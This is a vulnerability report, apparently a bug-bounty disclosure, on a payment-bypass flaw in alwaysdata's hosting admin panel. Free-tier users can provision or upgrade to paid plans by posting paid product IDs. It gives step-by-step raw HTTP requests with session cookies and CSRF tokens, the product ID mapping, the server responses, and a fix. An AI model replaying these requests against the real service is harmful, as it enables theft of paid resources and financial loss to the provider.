|
Task Description
Severity: Critical CVSS Score 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)
Description Any authenticated user on the free tier can provision paid hosting accounts (Small, Medium, Large, X-Large) without providing payment information. The account creation form at /admin/account/add/ accepts paid product IDs and provisions full resources immediately. Additionally, existing accounts can be upgraded to any tier or downgraded to Free via the account edit form, all without payment validation.
Impact • Resource Theft: Attacker gets up to 500GB disk, 8GB RAM, 8 CPU cores for free (X-Large plan worth €1,800/year) • Infrastructure Abuse: SSH access auto-provisioned, cron jobs available for crypto mining/spam/C2 • Financial Loss: Each plan costs real money; mass abuse causes significant revenue loss • Bidirectional Manipulation: Accounts can be downgraded to Free to evade billing, then upgraded again • Repeat Exploitation: Single user account can create multiple paid accounts
Steps to Reproduce Step 1: Login to admin.alwaysdata.com with a free-tier account Step 2: Navigate to /admin/account/add/ Step 3: Submit the following POST request to create a paid account without payment: • Request — Create Paid Account (Small Plan):
POST /admin/account/add/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU Referer: https://admin.alwaysdata.com/admin/account/add/ Origin: https://admin.alwaysdata.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 164 Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&name=paidtest2&password=TestPass123!&product=2008&period=1y&loc ation=datacenter_3&contract_28=on&contract_36=on
HTTP/1.1 302 Found Location: /subscription/ Server: nginx Product IDs: 2008=Small (50GB/1GB/1CPU), 2009=Medium, 2010=Large, 2011=X-Large (500GB/8GB/8CPU), 2012=Free
Step 4: Verify the subscription page confirms the paid account: GET /subscription/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o
HTTP/1.1 200 OK Object: paidtest2 | Product: Small (50GB disk, 1GB RAM, 1 CPU) | Renewal: Oct. 22, 2026 Object: xltest | Product: X-Large (500GB disk, 8GB RAM, 8 CPU) | Renewal: Oct. 22, 2026 | €1,800.00 Step 5: Upgrade existing account to X-Large without payment:
POST /admin/account/501195/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU Referer: https://admin.alwaysdata.com/admin/account/501195/ Content-Length: 65 Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&product=2011
HTTP/1.1 302 Found Location: /subscription/ product=2011 upgrades to X-Large (€1,800/year) — no payment required
Recommendation Implement server-side payment verification before provisioning any non-free product. Validate that: (1) A valid payment method is on file, (2) Sufficient balance exists or payment is authorized, (3) The requested product change is within the customer's billing tier.
|